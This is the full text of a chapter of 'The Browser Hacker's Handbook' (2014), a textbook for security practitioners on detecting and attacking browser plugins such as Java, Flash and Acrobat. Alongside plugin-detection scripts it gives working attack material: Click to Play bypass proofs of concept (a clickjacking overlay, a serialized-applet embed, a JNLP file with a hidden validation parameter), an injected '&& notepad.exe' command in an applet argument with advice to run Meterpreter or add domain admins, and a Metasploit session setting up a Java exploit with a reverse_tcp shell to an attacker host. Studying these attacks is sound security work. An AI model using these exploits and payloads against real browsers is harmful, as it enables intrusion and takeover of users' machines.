Attacking Plugins - The Browser Hacker’s Handbook (2014)

The Browser Hacker’s Handbook (2014)

Chapter 8. Attacking Plugins

Although a web browser’s primary focus is on rendering web pages, there has always been a push to support other types of rich content like movies, or interactive content such as 3-D models. These capabilities may even require integration with other applications or programming languages, such as Microsoft Excel or Java, in an effort to provide rich interactive content and features. These additional functionalities aren’t necessarily something that browser vendors want to support natively, so they often provide a method for application developers to access these features through a plugin interface.

The plugin interface binds external code or applications into the browser so that it can leverage these third-party plugin components to perform additional tasks. As with any application, code weaknesses could allow for information disclosure, code execution, or other unexpected behaviors.

In this chapter, you will explore how to identify plugins such as Acrobat Reader, Java, and Flash. Once you have identified the plugins, you can use your knowledge of their weaknesses to potentially bypass browser safeguards. Finally, you will examine attack techniques to help leverage these plugins to extend access beyond the browser and into the operating system.

Understanding Plugin Anatomy

In the following sections, you will discover what defines a plugin, how they differ from extensions, and how it’s exposed to the user. By digging into these concepts, the foundations for understanding how to fingerprint and attack browser plugins will be established. You will then be able to better understand the security impact of plugins.

A plugin is a code bridge between external code libraries or applications and a browser. The installation of the plugin adds new code to the browser that links the external application into the browser so that the browser can access the code from the external application. Providing a plugin interface allows externally supported file formats to be supported inside the browser, greatly increasing the capabilities of the browser itself.

Two separate aspects make up a plugin: the browser API and the script API. The browser API controls the interaction between the browser and the external code for rendering new content types. This would allow the browser to leverage Adobe Reader’s code to display the PDF inside the browser. These plugins typically use a standard API such as ActiveX in Windows or NPAPI, the cross-platform Netscape API.

The script API allows the object that is represented inside the browser to be manipulated through web APIs, often executed through JavaScript. The two APIs work together to allow web developers to display content, manipulate it, and present it to users in a format that is both functional and aesthetically pleasing.

Chrome also allowed plugins to be kept in a separate process space so that if a plugin crashed, it wouldn’t crash the entire browser. This limited the ability of a faulty plugin to interfere with the normal operation of the browser. However, though these plugins run in a separate process, they can still be exploited, and in some cases may provide access to the browser or the underlying operating system.

Types of plugins you will frequently see while browser hacking include Flash, Acrobat, Java, QuickTime, Silverlight, RealPlayer and VLC plugins. These plugins support PDFs, applets, movies, and advanced graphics for browsers and are installed along with their parent programs.

By going into the Add-ons Manager in Firefox and choosing the Plugins tab as in Figure 8-1, you can see what plugins are installed in Firefox. Chrome, Internet Explorer, and other browsers have similar functionality, although differently named depending on the browser.

How Plugins Differ from Extensions

Plugins and extensions are similar in that they extend the functionality of the browser. The core difference between the two is that extensions add functionality using existing browser interfaces through JavaScript and other APIs, whereas plugins leverage external code.

Figure 8-1: Firefox Plugins control panel showing installed plugins

image

Extensions are typically also functional across a wide range of pages, because they have extended some functionality of the browser as a whole. Plugins on the other hand, are designed to support a file format. They are invoked only when the browser encounters one of those files. This occurs when the file is embedded into a web page via the <object> or <embed> tags or when the browser receives a supported content type. The Content-Type references a MIME type, which indicates how the browser should handle the file.

Figure 8-2 demonstrates the Content-Type header of a PDF file being requested by curl. The response contains a Content-Type of application/pdf. When the browser encounters this at a URL, in this case http://media.blackhat.com/bh-us-12/Briefings/Ocepek/BH_US_12_Ocepek_Linn_BeEF_MITM_WP.pdf, it knows to render it using the Adobe Acrobat plugin because Acrobat has registered itself as the handler for this MIME type.

Figure 8-2: Accessing a PDF with curl shows a content type of application/pdf

image

How Plugins Differ from Standard Programs

Plugins differ from standard programs in that they extend the functionality of the browser alone. Plugins typically call the same code as an external application. Because of this, when there is a vulnerability in an application, there is frequently also a vulnerability in the browser plugin. This means that Adobe Acrobat vulnerabilities in a library may be callable both from the external application and within the browser.

Plugins may have fewer features and reduced functionality than the full application. Therefore, there may be cases where downloading a file and viewing it outside of a browser may be preferable.

Typically when applications are updated, if plugins are associated with the external application, the plugins are updated as well. This is what causes you to have to restart your browser while updates are being installed. Because they share the same codebase, the plugin would become unstable if the underlying code changed while it was loaded into the browser.

Calling Plugins

As mentioned previously, plugins are called in one of two situations: the Content-Type delivered by the web server matches a MIME type, or through <embed> or <object> tags. Following is a sample set of code to embed a Flash file into a page:

<object data="flashdemo.swf" type="application/x-shockwave-flash">

<param name="bhh" value="true">

</object>

This sample code tells the browser to embed an object into the page. When the file is loaded, the content type is determined via MIME to be a Flash object. This tells the browser that it should load the object with the Flash plugin. Finally, it passes the bhh parameter into the Flash plugin.

Click to Play

The Click to Play feature is an attempt to help users stay safe by asking for permission before running plugins.1 Mozilla, for instance, has done this to prevent websites from calling older versions of plugins when multiple versions are installed by applications with different requirements.

By using Click to Play, attacks that involve calling older versions of Flash, Acrobat Reader, or Java become more difficult as the user has to actively click the area on the screen where the plugin will appear to launch the code. Apart from limiting the execution of old plugin versions, it also helps reduce the likelihood of plugins executing without the user being aware. Google Chrome includes a similar feature, but it is not enabled by default.

Specifying a Particular Java Runtime in Firefox

If you believe that a hooked browser running Firefox has access to an older Java Runtime Environment (JRE), you can modify the type attribute within the <embed> tag and cause the applet to run using the older JRE. For instance, take the following example:

<embed code="Malicious.class"

width="1" height="1"

type="application/x-java-applet;version=1.6.0"

pluginspage=”http”://java.sun.com/j2se/1.6.0/download.html />”

In this instance, the Malicious.class applet will try to run with the JRE that supports the MIME type application/x-java-applet;version=1.6.0. If there’s a JRE with a version equal to or greater than the one specified, then it will execute the applet. Otherwise, it will direct the user to the URL specified in the pluginspage attribute.

On the other hand, if you consider this example:

<embed code="Malicious.class"

width="1" height="1"

type="application/x-java-applet;jpi-version=1.6.0_18"

pluginspage="http://java.sun.com/j2se/1.6.0/download.html" />

The Malicious.class applet will try to run with JRE version 1.6.0_18. If this is not possible, the user will be directed to the URL specified in the pluginspage attribute.

These methods may assist you if you want to target a specific Java version that may be affected by a particular exploit or Click to Play vulnerability, some of which will be discussed later on in the Attacking Java section.

Click to Play has been coupled with a block-list to automatically enable this feature2 for plugins that Mozilla knows will cause a security issue. However, Click to Play has also suffered from security weaknesses and bypasses. Fear not, you will learn more about these weaknesses later in the chapter.

When Click to Play is activated, the browser allows access to the plugin only after the user has been warned and has clicked Accept. Figure 8-3 shows three different types of plugins: a Java plugin that the user will be prompted to activate, plugins like QuickTime that will automatically play, and plugins like the old Acrobat plugin that will never activate unless the user re-enables them.

Figure 8-3: The plugins options for Firefox showing three different plugin states

image

How Plugins are Blocked

Before exploring how plugins are blocked, first you need to understand why plugins are blocked. Sure, security issues are the most obvious reason. But, plugins are blocked for other reasons; some plugins violate corporate policy due to streaming media, privacy concerns, or have potential impacts to staff productivity.

Plugins can be blocked either by a configuration applied to corporately managed computers, or by vendors themselves. Microsoft, for instance, has pushed out kill bits3 for certain vulnerable ActiveX plugins in the past as part of security patches to help prevent exploitation. Kill bits are registry entries that mark COM or ActiveX objects as non-loadable in the browser. Mozilla blocked older Java versions from users to help prevent exploitation as well. Many corporate environments also deploy their own ActiveX kill bits to disable plugins that could cause issues from third parties. An example is Adobe products that may not be easily patchable within the corporate environment.

Apple joined the party of companies blocking plugins in early 2013 when it blocked Java 7 to protect users from a vulnerable version.4 To do this, Apple pushed a configuration file change to its antimalware software, Xprotect, to block the Java plugin. To view what’s blocked on your Mac, you can view the plist XML file at /System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/Xprotect.plist.

For the same vulnerability, Active X kill bits were released to help prevent the vulnerable software from running in Windows.5 By adding the correct kill bit values at HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\ActiveX Compatibility, you can force the plugin to not load in Internet Explorer for specific versions, without having to block the plugin as a whole.

Firefox lacks some of these enterprise capabilities; however, the built-in blacklist successfully blocks known malicious plugins. The Java plugin was also added to the Firefox blacklist, which is auto-updated. Although this may cause issues for enterprise users, it can always be re-enabled.

Fingerprinting Plugins

Similar to attacking browser extensions, attacking plugins is easier if you identify what you are dealing with first. Fingerprinting plugins is much like browser fingerprinting in that your task is to send queries to the browser to determine what’s really running. This section looks at different ways to detect and fingerprint browser plugins.

Detecting Plugins

Detecting plugins is fairly easy to do, both manually and automatically. Some plugins require more work than others, and the effort required ranges from submitting simple DOM queries to trying to load a specific file type. By using a combination of techniques, you should be able to fingerprint most of the popular browser plugins and not only tell whether or not they are active, but also determine the version.

In this section you first examine how to manually query the browser for plugins. Then, in the following sections, you see how to leverage frameworks and plugins to automatically detect plugin versions for attack purposes.

Firefox and Chrome make this task fairly easy by surfacing the list of plugins that are installed in the navigator.plugins DOM object.6 You can build a quick web page to query this for yourself and output the elements in a table using the information from the Mozilla reference:

<HTML>

<BODY>

<SCRIPT>

var pluginLen = navigator.plugins.length;

document.write("<TABLE><TR><TH COLSPAN=4>");

document.write(

"Plugins Found: " + pluginLen.toString() + " </TH></TR>" +

"<TR><TH>Name</TH><TH>Filename</TH>" +

"<TH>Description</TH><TH>Version</TH></TR>\n"

);

for(var i = 0; i < pluginLen; i++) {

document.write(

"<TR><TD>"+

navigator.plugins[i].name +

"</TD><TD>" +

navigator.plugins[i].filename +

"</TD><TD>" +

navigator.plugins[i].description +

"</TD><TD>" +

navigator.plugins[i].version +

"</TD></TR>\n"

);

}

document.write("</TABLE>");

</SCRIPT>

</BODY>

</HTML>

When you save this to an HTML file and load it into your browser, it outputs a table similar to that in Figure 8-4 showing each of the plugins and versions. This table includes active plugins that can be called directly, as well as plugins that are Click to Play, so some plugins may require additional intervention.

In Figure 8-4, you can see the results of running the previous code snippet, which is enumerating the navigator.plugins DOM object.

Figure 8-4: Enumerating the navigator.plugins DOM object

image

Additional detections can be done using the navigator.mimeTypes DOM object in Firefox and Chrome. By querying the array returned through this object, you can verify that it returns either a MimeType object or undefined. By using the !! trick (as previously covered in the “Fingerprinting using the DOM” section of Chapter 6) it’s easy to detect whether or not Flash is installed based on the MIME type:

>>> !!navigator.mimeTypes["application/x-shockwave-flash"]

true

For Internet Explorer, most of the plugins are executed as part of ActiveX controls. The easiest way to determine if a plugin is installed on the system is to try to instantiate the ActiveX object and determine if it returns a valid object. To detect if Flash is enabled in IE, you can execute the following JavaScript:

flash_versions = 11;

flash_installed = false;

objname = "ShockwaveFlash.ShockwaveFlash.";

if (window.ActiveXObject) {

for (x = 2; x <= flash_versions; x++) {

try {

Flash = eval("new ActiveXObject('" + objname + x + "');");

if (Flash) {

flash_installed = true;

}

} catch (e) { }

}

}

At the end of this code snippet, the flash_installed variable is true if Flash is installed and false if it isn’t. You may notice that 10 different Flash versions are checked, from 2 to 11. Each ActiveX object for Flash has a different name for the different version, so as you are iterating through possible names, when an ActiveX object is created, you know that version of Flash is installed. This is more cumbersome than the checks for Firefox and Chrome, but without easy access to the plugins through the DOM, this is the most effective way of identifying plugins in Internet Explorer.

Automatic Plugin Detection

Now that you know how to detect plugins manually with JavaScript, you can move on to automatic plugin detection en masse. Knowing how to build plugin checks will help extend automatic frameworks. One of the plugin detection frameworks that many people reference is the PluginDetect7framework written by Eric Gerds. Using a wrapper JavaScript class along with submodules, you can build lightweight JavaScript query modules to check for many different types of plugins.

These types of frameworks make it easy to quickly identify all plugins installed that might be worth targeting for attack. In many instances, users may not even know that their plugins have been checked. However, certain browsers, starting from Internet Explorer version 8 for example, could alert the user through pop-ups. It’s therefore best to test the ActiveX checks before trying them in production.

Although PluginDetect is a great tool for building plugin checks, if you just want to get a list of your own plugins and check to see if they are up to date, the Mozilla site8 has a plugin check site. This site not only iterates your plugins, but checks their status. Figure 8-5 shows the output of the Mozilla plugin check indicating that some modules need to be updated, and some modules the site doesn’t know about.

Figure 8-5: Mozilla Plugin Status page showing plugins that need updating

image

The Plugin Status page detects many common plugins, but as you can see in Figure 8-5, there may be some plugins it doesn’t know about. The site gives you information about how to research those plugin versions.

Detecting Plugins in BeEF

The previously discussed methods may help you either check your plugins or build frameworks, but sometimes it’s just more convenient to use already built tools. BeEF comes with plugin detection built in, so there’s no need to extend it unless you want to check for new plugins that BeEF is not aware of.

As soon as a browser is hooked into BeEF, a number of plugin checks are performed automatically for you. Figure 8-6 shows the default plugin information that BeEF will fingerprint when a browser is hooked. You can see checks for Flash, VLC, and more are run at initialization.

Figure 8-6: Viewing a hooked browser’s plugin list

image

For these automatic tasks, BeEF tries to perform its additional plugin fingerprint without doing anything that is visible to the user. For other manual BeEF plugins, some may take actions that notify the user. Figure 8-7 shows additional commands that you can run against a browser to detect other plugins.

Figure 8-7: Additional plugin BeEF checks

image

Four different stoplight colors indicate the BeEF plugin’s alert status. Green plugins will likely not alert the user to the fact that you are checking them. The gray ones either don’t work or will have minimal impact. The orange plugins will typically have edge conditions that may alert a user; for instance, if the plugin exists, it may not alert users, but if it doesn’t they may notice something strange (or vice versa). The red ones will likely alert the user to your activity. Based on these traffic lights, you can select the module and launch it against a browser and determine additional vulnerable modules that may be executed.

Attacking Plugins

Detecting plugins helps to determine how vulnerable a target may be. Exploiting the vulnerable target is where the fun really lies. Plugins are a common target of hackers, and as such, as a security practitioner, you should have a good knowledge of how these attacks work as well. This enables you to showcase the weakness to corporate security teams or coworkers to help motivate others to patch the weaknesses or change security policies.

This section covers a number of different ways to attack plugins. You find out how to get around some of the Click to Play plugin settings, and you also learn about a few plugins that are frequently attacked. You will discover how to leverage those vulnerable plugins to take over browsers or execute code on remote machines.

Bypassing Click to Play

Although the Click to Play setting within modern browsers is a valid way to alert the user of potentially suspicious activities, valid examples of small or hidden plugin instances may not require user intervention to run.

This complexity in behavior and default configurations makes the life of the browser developer difficult. It also makes the lives of those in defensive security roles difficult as well: How are they meant to know which plugins don’t require Click to Play intervention? Valid reasons exist for plugins to remain invisible to the user within the displayed page. For example, a plugin that tracks navigation within the browser for usability studies may be made invisible at the discretion of the page designer. If a user is then required to Click to Play on an invisible plugin, where should they click?

Firefox Example

There have been bugs with Click to Play in the past that have allowed plugins to be automatically displayed. An interesting bypass was discovered by Ben Murphy and successfully worked against Firefox until March 2013.9 The Proof of Concept was simple but effective:

<html>

<head>

<style type='text/css'>

#overlay {

background-color: black;

position: absolute;

top: 0px;

left: 0px;

width: 550px;

height: 450px;

color: white;

text-align: center;

padding-top: 100px;

pointer-events: none;

}

</style>

<body>

<div id="overlay">Click here</div>

<applet code="Foo.class" width="500" height="500"/>

</body>

</html>

Specifying pointer-events: none prevented the triggering of any mouse events against the black #overlaydiv. It was then possible to trick a user into clicking the “Click here” message, resulting in the execution of the Java applet as demonstrated in Figure 8-8.

Figure 8-8: Click to Play bypassed executing an unsigned Java applet

image

By dynamically modifying the CSS definitions of the overlay div—and by adding opaque: 0.4—you can see what is behind the overlay, as shown in Figure 8-9. Using this technique, and a degree of social engineering, the user is effectively clicking the Click to Play dialog box.

This attack is a perfect example of a Clickjacking attack, as covered in Chapter 4. The important aspect of this attack is that the div is rendered on top of the Click to Play dialog box.

Figure 8-9: Adding opacity to show what is going on under the hood

image

Firefox alerts the user that the plugin is outdated, by showing the red plugin logo at the top left of the address bar. A user who is not paying attention may click the black div anyway. You can see the red warning icon in both Figure 8-8 and Figure 8-9.

Unfortunately for you, when these types of vulnerabilities are discovered, they will likely be patched quickly, which means that finding browsers exposed to these vulnerabilities will often be hit and miss. Accurate browser fingerprinting can help isolate whether a target’s browser is vulnerable. Logic can also be built to determine how best to deliver a plugin to maximize the potential for the plugin to be activated.

Java Example

Starting from Java version 1.7 update 11, Oracle altered its Click to Play implementation such that it is displayed for every kind of applet, even unsigned ones. This greatly reduces the effectiveness of using Java exploits and SOP bypasses in your attacks.

Unsurprisingly, there were a few bugs in the implementation of Click to Play, often allowing the execution of Java applets without any user intervention. The first bypass10 from Esteban Guillardoy was patched in Java version 1.7 update 13, and relied on loading a serialized applet11 through a “less-known” applet attribute called object.

If you take a look at the source code of Java’s Plugin2Manager class you will see the Click to Play logic. Specifically examining the initAppletAdapter() method, you can see that if the code attribute is used to instantiate the applet it fires the fireAppletSSVValidation() method:

void initAppletAdapter(AppletExecutionRunnable

paramAppletExecutionRunnable)

throws ClassNotFoundException, IllegalAccessException,

ExitException, JRESelectException, IOException,

InstantiationException {

long l = DeployPerfUtil.put(

0L,"Plugin2Manager.createApplet() - BEGIN");

/*

* Get the values of the "code" and "object" applet attributes

*/

String str1 = getSerializedObject();

String str2 = getCode();

[...snip...]

if ((str2 != null) && (str1 != null)) {

System.err.println(amh.getMessage("runloader.err"));

throw new InstantiationException(

"Either \"code\" or \"object\"" +

" should be specified, but not both.");

}

if ((str2 == null) && (str1 == null))

return;

if (str2 != null) {

/*

* Load applet normally through the "code" attribute.

* Fires the CtP pop=up, waiting for user intervention.

*/

if (fireAppletSSVValidation()) {

appletSSVRelaunch();

}

[...snip...]

} else {

if (!this.isSecureVM)

return;

// load the Serialized applet through the "object" attribute

this.adapter.instantiateSerialApplet(localPlugin2ClassLoader, str1);

this.doInit = false;

DeployPerfUtil

.put("Plugin2Manager.createApplet()" +

" - post: secureVM .. serialized .. ");

}

[...snip...]

DeployPerfUtil.put(l, "Plugin2Manager.initAppletAdapter() - END");

}

At the same time, if the code attribute is not used, Java expects you are using the object attribute, hence loading a serialized applet. In those instances, Click to Play is not fired at all.

To abuse this flaw, you would embed the applet with the following code:

<embed object="object.ser"

type="application/x-java-applet;version=1.6">

Another bypass,12 once again from Esteban, was patched in Java version 1.7 update 21. This bypass relied on a hidden parameter to be passed to the applet during invocation through a Java Network Launching Protocol, or JNLP, descriptor.13 Using JNLP is a convenient way of launching applets. With JNLP you can also require the applet to run on a specific version of Java.

Analyzing the source code of Java’s PluginMain class, specifically the performSSVValidation() method, you may notice the following:

public static boolean performSSVValidation

(Plugin2Manager paramPlugin2Manager)

throws ExitException {

boolean bool = Boolean.valueOf(paramPlugin2Manager.

getParameter("__applet_ssv_validated")).

booleanValue();

if (bool)

return false;

LaunchDesc localLaunchDesc = null;

AppInfo localAppInfo = null;

[...snip...]

}

Note the undocumented __applet_ssv_validate parameter, which, if true, would result in skipping any checks and exiting the method. It turned out that you couldn’t use this parameter with a normal applet invocation, because parameter names starting with _ would be excluded. Fortunately, the same implementation of the performSSVValidation() is also called when instantiating applets through JNLP descriptors, without the restrictions on the parameter name.

In other words, you can bypass Click to Play restrictions by launching an applet through a JNLP descriptor that uses that hidden parameter. Neat!

The following is an example of a JNLP descriptor you would use:

<?xml version="1.0" encoding="utf-8"?>

<jnlp spec="1.0" xmlns:jfx=http://javafx.com

href="applet_security_bypass.jnlp">

<information>

<title>Applet Test JNLP</title>

<vendor>Oracle</vendor>

<description>Esteban CtP bypass</description>

<offline-allowed/>

</information>

<resources>

<j2se version="1.7"

href="http://java.sun.com/products/autodl/j2se" />

<jar href="malicious.jar" main="true" />

</resources>

<applet-desc

name="Malicious Applet"

main-class="Main"

width="1"

height="1">

<param name="__applet_ssv_validated" value="true"></param>

</applet-desc>

<update check="background"/>

</jnlp>

Note that the hidden parameter that is needed to bypass Click to Play is specified in the applet description:

<param name="__applet_ssv_validated" value="true"></param>

The final step is serving this JNLP file from a web server and referencing it from the page where the applet execution should be triggered, with code similar to the following:

<object codebase="http://java.sun.com/update/ \

1.6.0/jinstall-6-windows-i586.cab#Version=6,0,0,0"

classid="clsid:5852F5ED-8BF4-11D4-A245-0080C6F74284"

height=”0” width=”0”>

<param name="app" value="__JNLP_URI__">

<param name="back" value="true">

<applet archive="malicious.jar"

code="Main.class"

width="1" height="1">

</applet>

</object>

Although these exploits have already been patched by Oracle, they serve as a valid reminder of the cat-and-mouse game that browser technology plays every day. New features are being deployed by browser and plugin developers, which are then exploited by attackers, which are then patched again. Since the authors started writing this book, Java standard edition version 6 has been patched at least six times, addressing about 100 security issues.14

Attacking Java

The world and Java have had a tenuous relationship. Java facilitates everything from web conferencing to popular games. Although Java has provided a gateway to application capabilities on the web, it also has a history of insecurity,15 as discussed in Chapter 4. Many security professionals often recommend that Java should be disabled entirely; however, this is not always possible. For example, some online banking portals require the availability of Java.16

You can run Java code in two primary ways: either through standalone Java applications or through web applets. This section concentrates on how applets work, manipulating applets, and finally, exploiting applets remotely to compromise systems.

Understanding Java Applets

It’s important to understand what Java applets are, how they interact with the browser, and some core functionality differences before you learn to manipulate Java. Applets are Java code specifically designed to run within a web page. Java has a security model around the applets that tries to prevent them from calling malicious code. This model, also known as a sandbox, includes additional security constraints.17

Actions like accessing the file system or executing operating system commands are blocked by default. The Java security model requires code to be trusted or permission to be given before accessing functionality that has security implications. Much of the security research around Java revolves around bypassing security measures. That is, to break out of the sandbox and gain access to the underlying file system, the ability to execute additional code, and the ability to break out of the browser itself.

One aspect of Java code that is useful to understand is the relationship between Java code and the resulting compiled class file. Java code is compiled into bytecode that is then processed by the Java Virtual Machine (JVM). The JVM processes the bytecode and then executes it. Applications can convert bytecode back into representative Java code as well, usually called decompilers, which you will learn more about later in the chapter.

What an applet is allowed to do is controlled by its permissions. Primarily these permissions dictate how the applet interacts with the system through the sandbox. A core difference between a signed applet and an unsigned applet is that a signed applet can execute code outside of the sandbox.

When dealing with signed applets, Java verifies that the signature is valid, and if it is unknown, prompts the user to verify that the user accepts the applet. You have seen this before with the signed Java applet attack from Chapter 5.

Unsigned applets, on the other hand, are quarantined within the sandbox. For exploitation purposes, this is not ideal, but for user security, it’s great. For an unsigned applet to perform any OS or network-level operations, it first has to break out of the sandbox. For this reason, most exploits for unsigned applets that lead to additional privileges also require a sandbox bypass. The sandbox bypass allows code to execute functions outside the sandbox.

Jailbreak attacks are discovered periodically, and usually patched with priority, due to how damaging they can be because of their ability to break out of the security model. Because these weaknesses are a moving target, there won’t be coverage of jailbreak attacks in general; only attacks against specific versions of Java.

Detecting Java

Before you can execute any Java attacks, you could choose to identify whether or not Java is running. Surprisingly, this can be challenging on modern browsers. The most effective way to fingerprint a browser for the presence of Java is to convince the user to run a Java applet that will execute the query and send you the result.

Once an applet is running, Java can access version strings from inside the applet itself. An unsigned applet has enough permission to achieve this as well. Your goal is to get the user to execute an applet, catch the result, and then send the result back to you for further targeting. With newer versions of Java, starting from Java 1.7 update 11, this requires the user to explicitly allow unsigned applet execution.

The following code snippet uses the System.getProperty method to retrieve the Java version and vendor. This is called in the execute function and is returned as a string:

import java.applet.*;

import java.awt.*;

public class JVersion extends Applet{

public JVersion() {

super();

return;

}

public static String execute() {

return (" Java Version: " +

System.getProperty("java.version")+

" by "+System.getProperty("java.vendor"));

}

}

The following HTML and JavaScript snippet executes the preceding Java code to create an object in the page and then uses JavaScript to call the execute method of that object. This is written to the screen using the document.write method:

<object id='JVersion' name='JVersion'>

<param name='code' value='JVersion.class' />

<param name='codebase' value='null' />

<param name='archive'

value='http://browserhacker.com/JVersion.jar' />

</object>

<script>

document.write(document.JVersion.execute());

</script>

If the browser is running Java 1.7 when this executes, the warning dialog box in Figure 8-10 appears.

Figure 8-10: Unsigned applet warning with Java 1.7 greater than update 11

image

After clicking through the warning, output similar to Figure 8-11 should be displayed. However, with Java versions 1.6 (or earlier), the unsigned applet will run automatically without requiring user intervention.

Figure 8-11: The output from the JVersion applet

image

Regardless of these detection methods, as of Java version 1.7 update 11, it’s recommended that the best way to execute malicious Java applets is to simply run them without prior Java detection. This is due to the browser asking the user for permission before running the applet, regardless of whether it’s Java detection code or an unsigned malicious applet.

Reversing Java Applets

When you encounter a trusted Java applet, your goals are to reverse the applet’s code, understand its inner workings, and then look for potential flaws. Part of the challenge is that the code itself can’t be modified directly. If the applet takes arguments from a web page, it may be possible to determine weaknesses in the applet itself that lead to exploitation. In this scenario, you are effectively exploiting a weakness in a trusted applet in order to exploit a host.

To find these weaknesses, you must look inside the applet itself. To do this, you need to first find a Java decompiler, such as JD-GUI. The decompiler takes the Java bytecode and turns it back into code that you can browse. Using the JD-GUI18 application, you can take apart a Java applet to look for weaknesses, and then determine how you would need to modify a web page to leverage those weaknesses. You may occasionally run into Java applet code that has a degree of obfuscation, and in those instances you may need to also spend some time de-obfuscating the code.

To demonstrate this, the following example shows how reversing a contrived Java applet can enable you to further compromise the underlying browser and OS. In this instance, your goal is to abuse the normal applet behavior in order to execute arbitrary OS commands.

Through analysis of the HTML and JavaScript, you determine that a number of arguments are passed directly to the applet. The applet also appears to expose an execute() method:

<object id='signedAppletCmdExec'

classid='clsid:8AD9C840-044E-11D1-B3E9-00805F499D93'

name='signedAppletCmdExec'>

<param name='code' value='signedAppletCmdExec.class' />

<param name='codebase' value='null' />

<param name='archive'

value='http://browserhacker.com/signedAppletCmdExec.jar' />

<param name='debug' value='true' />

<param name='dir' value='c:/' />

</object>

This sample code tells the browser to execute the signedAppletCmdExec class from the signedAppletCmdExec.jar file. It sets the debug argument to true, and the dir value to c:/. When the browser runs the code, the arguments are passed to Java and the debug and dir values are available to the applet. To finally run the applet, the following JavaScript is required as well:

<script>

try {

output = document.signedAppletCmdExec.execute();

console.log("output: " + output);

return;

}catch (e) {

console.log("timeout");

return;

}

</script>

The JavaScript code creates a function that accesses the applet and runs the execute method inside the applet itself. It also outputs some messages coming from the applet to the browser’s console. When this code is run, you see the output from Figure 8-12.

Figure 8-12: The cmd.exe window showing a C:\ prompt

image

Armed with an understanding of the behavior of this code, it would appear that there might be an opportunity to execute arbitrary OS commands. To figure out exactly how to do that, you need to know how the code is being called inside Java. This is where you need to take apart the Java code and investigate how the cmd.exe is called.

First, you need to extract the .class file from the .jar file. Download the .jar file and save it to a temporary directory. To extract the content from the .jar file, type in the following command. Remember, a .jar file is simply a .zip file containing all the necessary Java class files and other associated content:

$ jar xvf signedAppletCmdExec.jar

inflated: META-INF/MANIFEST.MF

inflated: META-INF/MYKEY.SF

inflated: META-INF/MYKEY.DSA

created: META-INF/

inflated: signedAppletCmdExec.class

inflated: RelaxedSecurityManager.class

You will see that two class files are extracted along with the META-INF information about how the applet is signed. The two class files contain the applet code compiled into bytecode. Next, run the JD-GUI application and double-click signedAppletCmdExec.class. Once it’s loaded, you should see something that resembles Figure 8-13.

Figure 8-13: JD-GUI showing the extracted source

image

In the code snippet are two areas that are important to note. The first is that the applet is overriding the default Security Manager in order to relax permissions required to execute commands. Without giving explicit permissions to the applet, or giving all permissions like in this example, the applet would throw a security exception refusing to execute commands. Second, the str2 variable is setting the command to be run with the dir argument that’s being passed into the code.

This information tells you all you need to know about executing additional operating system commands. To leverage this finding, you need to provide additional commands that will be executed by cmd.exe. Because the original command isn’t output to the screen, additional appended commands are transparent. To try this out, modify the initial HTML code to the following:

<object id='signedAppletCmdExec'

classid='clsid:8AD9C840-044E-11D1-B3E9-00805F499D93'

name='signedAppletCmdExec'>

<param name='code' value='signedAppletCmdExec.class' />

<param name='codebase' value='null' />

<param name='archive'

value='http://browserhacker.com/signedAppletCmdExec.jar' />

<param name='debug' value='true' />

<param name='dir' value='c:/ && notepad.exe' />

<object id=’signedAppletCmdExec’

The highlighted modification causes the cmd.exe process, when it is executed by the Java applet, to change into the c:/ directory and then start notepad.exe. To verify that this works, reload the attack page and you should see output similar to Figure 8-14. The cmd.exe title changes to show that the user is executing notepad.exe. However, if the execution completed quickly, it is unlikely that the user would have noticed the short-lived change.

This would be a great opportunity to execute a Metasploit Meterpreter payload that would migrate quickly to another process. Other attacks may include adding new local users or, given appropriate permissions, even Domain Admin members if your target has elevated privileges in a Windows domain.

Figure 8-14: The signed applet launching cmd.exe and notepad.exe

image

This scenario shows a somewhat contrived example of how to leverage vulnerable Java applets to execute additional OS commands. However, think back to more sophisticated Java Applets that you may have encountered.

Whether your targets are downloaders, installers, or other applets with similar functionality, they almost always are delegated as trusted by the user. What if you modified the options of those trusted applications and sent that to a target? To leverage these techniques, you’ll have to pull out your Java decompiler and dig deeper.

Bypassing the Java Sandbox

Every so often, Java sandbox vulnerabilities are found that allow a bypass of the sandbox and execution of malicious code outside of the sandbox19. Not every version of Java is vulnerable, though; part of the challenge is fingerprinting the specific version of Java to determine if there is a weakness. Without this information, breaking out of the sandbox will be difficult.

The fingerprinting code earlier in the chapter enables you to fingerprint the specific version of Java that is running. With this information, you can determine if a sandbox bypass exists for that specific version of Java. Because Java changes regularly, and therefore so do exploitation tactics, listing specific vulnerable versions within this book is pointless. A quick search on the web for the version you are dealing with is the most effective way to uncover potential bypasses.

Other aspects to consider are the previous two examples of Java code. Each of them enables you to leverage a signed applet to bridge JavaScript and a Java applet. This is the only way to deal with operating system manipulations in an applet without an exploit. As you may have seen, this can generate alerts, and additional social engineering or other attacks are needed to make this an effective attack.

One of the most notable sandbox bypasses was CVE-2013-0422, targeting Java 1.7 between update 9 and 10. Like many Java bugs, this one was first spotted in the wild, then de-obfuscated, analyzed, and finally, patched. The first public release of the de-obfuscated code was from Security Obscurity.20 The applet code is available from https://browserhacker.com.

The vulnerability this bypass exploited relied on the Java Reflection API.21 Reflection is the capability for code to examine and modify the behavior of objects at run time. In this particular instance, by using reflection it was possible to get an instance ofcom.sun.jmx.mbeanserver.MBeanInstantiator and then call the findClass() method. With this possibility, you could then load additional classes, and in practice even call a class you defined that invokes the usual Runtime.getRuntime().exec() method to execute operating system commands.

Because the sandbox was bypassed, abusing the flaw meant it was possible to execute OS commands from an unsigned applet. At the time, the impact of the vulnerability was significant because, as discussed previously, Oracle only added the Click to Play functionality from version 1.7 update 11.

Exploiting Java

The following example targets Java 1.7 update 17 or below, exploiting CVE-2013-242322 discovered by Jeroen Frijters. Metasploit’s module for this exploit is called java_jre17_driver_manager.

Remember the second Click to Play bypass, discovered by Immunity and discussed previously in this chapter? Well, here you see a practical example of it being used with this exploit to bypass Click to Play, because you will be targeting Java 1.7 greater than update 11.

First you need to configure the exploit within Metasploit:

msf > use exploit/multi/browser/java_jre17_driver_manager

msf exploit(java_jre17_driver_manager) > set PAYLOAD

java/meterpreter/reverse_tcp

msf exploit(java_jre17_driver_manager) > set SRVHOST 172.16.37.1

msf exploit(java_jre17_driver_manager) > set LHOST 172.16.37.1

msf exploit(java_jre17_driver_manager) > exploit

[*] Exploit running as background job.

[*] Started reverse handler on 172.16.37.1:4444

[*] Using URL: http://172.16.37.1:8080/uGDMZKaKGvbP59

[*] Server started.

